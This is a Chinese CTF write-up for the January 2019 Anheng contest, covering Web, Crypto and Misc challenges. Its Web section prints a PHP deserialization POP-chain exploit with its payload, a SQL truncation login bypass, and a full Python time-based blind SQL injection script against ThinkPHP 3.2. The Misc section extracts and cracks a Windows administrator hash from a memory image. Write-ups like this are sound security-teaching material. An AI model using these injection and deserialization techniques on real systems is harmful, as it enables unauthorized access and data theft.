2019安恒1月月赛Writeip-Web&Crypto&Misc

栏目: 编程工具 · 发布时间: 7年前

内容简介:周末在家无聊,又刷了一次安恒月赛,以下是题解拿到题目

2019安恒1月月赛Writeip-Web&Crypto&Misc

前言

周末在家无聊,又刷了一次安恒月赛,以下是题解

Web

拿到题目

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

发现是一个简单的反序列化题目

我们发现只要满足

$this->nice->aaa === $this->nice->bbb

即可读文件

2019安恒1月月赛Writeip-Web&Crypto&Misc

那么我们利用pop链,构造

2019安恒1月月赛Writeip-Web&Crypto&Misc

但是我们注意到

2019安恒1月月赛Writeip-Web&Crypto&Misc

aaa会被重新赋值,所以使用指针,这样bbb会跟随aaa动态改变

$a = new baby();
$a->bbb =&$a->aaa

构造出如下序列化

2019安恒1月月赛Writeip-Web&Crypto&Misc

最后得到完整exp

<?php  
class baby 
{   
    protected $skyobj;    
    public $aaa;
    public $bbb;
    function __construct() 
    {          
        $this->skyobj = new cool;   
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
        {
            return $this->skyobj->read();      
        }
    }  
}  
class cool 
{    
    public $filename='./flag.php';     
    public $nice;
    public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D'; 
}   
$a = new baby();
// $a->bbb =&$a->aaa;
echo urlencode(serialize($a));
?>

生成payload

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A227%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253BN%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BR%253A6%253B%257D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

最后可以得到

2019安恒1月月赛Writeip-Web&Crypto&Misc

bd75a38e62ec0e450745a8eb8e667f5b

simple php

拿到题目

http://101.71.29.5:10004/index.php

探测了一番,发现 robots.txt

User-agent: *

Disallow: /ebooks
Disallow: /admin
Disallow: /xhtml/?
Disallow: /center

尝试

http://101.71.29.5:10004/admin

发现有登录和注册页面

2019安恒1月月赛Writeip-Web&Crypto&Misc

探测后,发现是 sql 约束攻击

注册

username = admin                                                                                1
password = 12345678

登录即可

http://101.71.29.5:10004/Admin/User/Index
2019安恒1月月赛Writeip-Web&Crypto&Misc

发现是搜索框,并且是tp3.2

不难想到注入漏洞,随手尝试报错id

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(id)--

2019安恒1月月赛Writeip-Web&Crypto&Misc 发现库名 tpctf ,表名 flag ,根据经验猜测字段名是否为flag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(flag)--
2019安恒1月月赛Writeip-Web&Crypto&Misc

nice,发现flag字段也存在,省了不少事

下面是思考如何注入得到数据,随手测试

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--

2019安恒1月月赛Writeip-Web&Crypto&Misc 发现成功sleep 3s,轻松写出exp

import requests
flag = ''
cookies = {
    'PHPSESSID': 're4g49sil8hfh4ovfrk7ln1o02'
}
for i in range(1,33):
    for j in '0123456789abcdef':
        url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
        try:
            r = requests.get(url=url,timeout=2.5,cookies=cookies)
        except:
            flag += j
            print flag
            break

但是有点恶心的是,好像每隔5分钟就要重新注册,登录一遍,断断续续跑了几次,得到flag

2019安恒1月月赛Writeip-Web&Crypto&Misc
459a1b6ea697453c60132386a5f572d6

Crypto

题目描述

Alice和Bob正在进行通信,作为中间人的Eve一直在窃听他们两人的通信。

Eve窃听到这样一段内容,主要内容如下:
p = 37
A = 17
B = 31

U2FsdGVkX1+mrbv3nUfzAjMY1kzM5P7ok/TzFCTFGs7ivutKLBLGbZxOfFebNdb2
l7V38e7I2ywU+BW/2dOTWIWnubAzhMN+jzlqbX6dD1rmGEd21sEAp40IQXmN/Y0O
K4nCu4xEuJsNsTJZhk50NaPTDk7J7J+wBsScdV0fIfe23pRg58qzdVljCOzosb62
7oPwxidBEPuxs4WYehm+15zjw2cw03qeOyaXnH/yeqytKUxKqe2L5fytlr6FybZw
HkYlPZ7JarNOIhO2OP3n53OZ1zFhwzTvjf7MVPsTAnZYc+OF2tqJS5mgWkWXnPal
+A2lWQgmVxCsjl1DLkQiWy+bFY3W/X59QZ1GEQFY1xqUFA4xCPkUgB+G6AC8DTpK
ix5+Grt91ie09Ye/SgBliKdt5BdPZplp0oJWdS8Iy0bqfF7voKX3VgTwRaCENgXl
VwhPEOslBJRh6Pk0cA0kUzyOQ+xFh82YTrNBX6xtucMhfoenc2XDCLp+qGVW9Kj6
m5lSYiFFd0E=

分析得知,他们是在公共信道上交换加密密钥,共同建立共享密钥。

而上面这段密文是Alice和Bob使用自己的密值和共享秘钥,组成一串字符的md5值的前16位字符作为密码使用另外一种加密算法加密明文得到的。

例如Alice的密值为3,Bob的密值为6,共享秘钥为35,那么密码为:

password = hashlib.md5("(3,6,35)").hexdigest()[0:16]

看到密钥交换和给定的3个参数,不难想到是Diffie-Hellman密钥交换算法

那么我们现在知道

1.A的公钥为17

2.B的公钥为31

3.素数p为37

那么第一步是先求g

我们知道g是p的一个模p本原单位根(primitive root module p),所谓本原单位根就是指在模p乘法运算下,g的1次方,2次方……(p-1)次方这p-1个数互不相同,并且取遍1到p-1;

我们直接调用sagemath的函数

print primitive_root(37)

可以得到

g=2

然后我们知道

A = g^a mod p
B = g^b mod p

即已知A,B,g,p怎么求a和b

因为这里的数都比较小,我们使用在线网站

https://www.alpertron.com.ar/DILOG.HTM

对于A的私钥,我们得到

2019安恒1月月赛Writeip-Web&Crypto&Misc

对于B的私钥,我们得到

2019安恒1月月赛Writeip-Web&Crypto&Misc

而对于共享密钥

key =  g^(b*a) mod p

计算

a = 7
b = 9
g = 2
p = 37
print pow(g,a*b,p)

得到共享密钥为6

于是按照样例

例如Alice的密值为3,Bob的密值为6,共享秘钥为35,那么密码为:

password = hashlib.md5("(3,6,35)").hexdigest()[0:16]

我们得到password

import hashlib
password = hashlib.md5("(7,9,6)").hexdigest()[0:16]
print password

结果 a7ece9d133c9ec03
而对于密文

U2FsdGVkX1+mrbv3nUfzAjMY1kzM5P7ok/TzFCTFGs7ivutKLBLGbZxOfFebNdb2
l7V38e7I2ywU+BW/2dOTWIWnubAzhMN+jzlqbX6dD1rmGEd21sEAp40IQXmN/Y0O
K4nCu4xEuJsNsTJZhk50NaPTDk7J7J+wBsScdV0fIfe23pRg58qzdVljCOzosb62
7oPwxidBEPuxs4WYehm+15zjw2cw03qeOyaXnH/yeqytKUxKqe2L5fytlr6FybZw
HkYlPZ7JarNOIhO2OP3n53OZ1zFhwzTvjf7MVPsTAnZYc+OF2tqJS5mgWkWXnPal
+A2lWQgmVxCsjl1DLkQiWy+bFY3W/X59QZ1GEQFY1xqUFA4xCPkUgB+G6AC8DTpK
ix5+Grt91ie09Ye/SgBliKdt5BdPZplp0oJWdS8Iy0bqfF7voKX3VgTwRaCENgXl
VwhPEOslBJRh6Pk0cA0kUzyOQ+xFh82YTrNBX6xtucMhfoenc2XDCLp+qGVW9Kj6
m5lSYiFFd0E=

看到 U2F 这样的开头,我们尝试解密RC4,AES,DES

最后发现DES成功解密

2019安恒1月月赛Writeip-Web&Crypto&Misc

成功得到flag: flag{8598544ba1a5713b1de04d3f0c41eb71}

键盘之争

看到题目名称键盘之争

以及唯一的信息 ypau_kjg;"g;"ypau+

先去百度了下

2019安恒1月月赛Writeip-Web&Crypto&Misc

发现第一项就是键盘之争,看来是有一个键位布局的映射关系

于是按照图片

2019安恒1月月赛Writeip-Web&Crypto&Misc 2019安恒1月月赛Writeip-Web&Crypto&Misc

简单写了个映射代码

QWERTY = ['q','w','e','r','t','y','u','i','o','p','{','}','|','a','s','d','f','g','h','j','k','l',';','"','z','x','c','v','b','n','m','<','>','?','_','+']
Dvorak = ['"','<','>','p','y','f','g','c','r','l','?','+','|','a','o','e','u','i','d','h','t','n','s','_',';','q','j','k','x','b','m','w','v','z','{','}']
dic = zip(Dvorak,QWERTY)

c = 'ypau_kjg;"g;"ypau+'
res=''
for i in c:
    for key,value in dic:
        if key == i:
            res += value
print res

得到结果

traf"vcuzquzqtraf}

看到有双引号感觉怪怪的,于是尝试

dic = zip(QWERTY,Dvorak)

于是得到结果

flag{this_is_flag}

这就美滋滋了,md5后得到flag

951c712ac2c3e57053c43d80c0a9e543

Misc

拿到题目,既然要拿管理员密码,我们先查看下profile类型

2019安恒1月月赛Writeip-Web&Crypto&Misc 得到类型为 WinXPSP2x86

紧接着查注册表位置,找到system和sam key的起始位置

2019安恒1月月赛Writeip-Web&Crypto&Misc

然后将其值导出

2019安恒1月月赛Writeip-Web&Crypto&Misc

得到

2019安恒1月月赛Writeip-Web&Crypto&Misc 获得Administrator的 NThash:c22b315c040ae6e0efee3518d830362b

拿去破解

2019安恒1月月赛Writeip-Web&Crypto&Misc

得到密码123456789

MD5后提交

25f9e794323b453885f5181f1b624d0b

赢战2019

拿到图片先binwalk一下

2019安恒1月月赛Writeip-Web&Crypto&Misc

尝试提取里面的图片

2019安恒1月月赛Writeip-Web&Crypto&Misc

得到提取后的图片

2019安恒1月月赛Writeip-Web&Crypto&Misc

扫描一下

2019安恒1月月赛Writeip-Web&Crypto&Misc

发现还有,于是用stegsolve打开

2019安恒1月月赛Writeip-Web&Crypto&Misc

发现flag

flag{You_ARE_SOsmart}

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Mastering Regular Expressions, Second Edition

Mastering Regular Expressions, Second Edition

Jeffrey E F Friedl / O'Reilly Media / 2002-07-15 / USD 39.95

Regular expressions are an extremely powerful tool for manipulating text and data. They have spread like wildfire in recent years, now offered as standard features in Perl, Java, VB.NET and C# (and an......一起来看看 《Mastering Regular Expressions, Second Edition》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具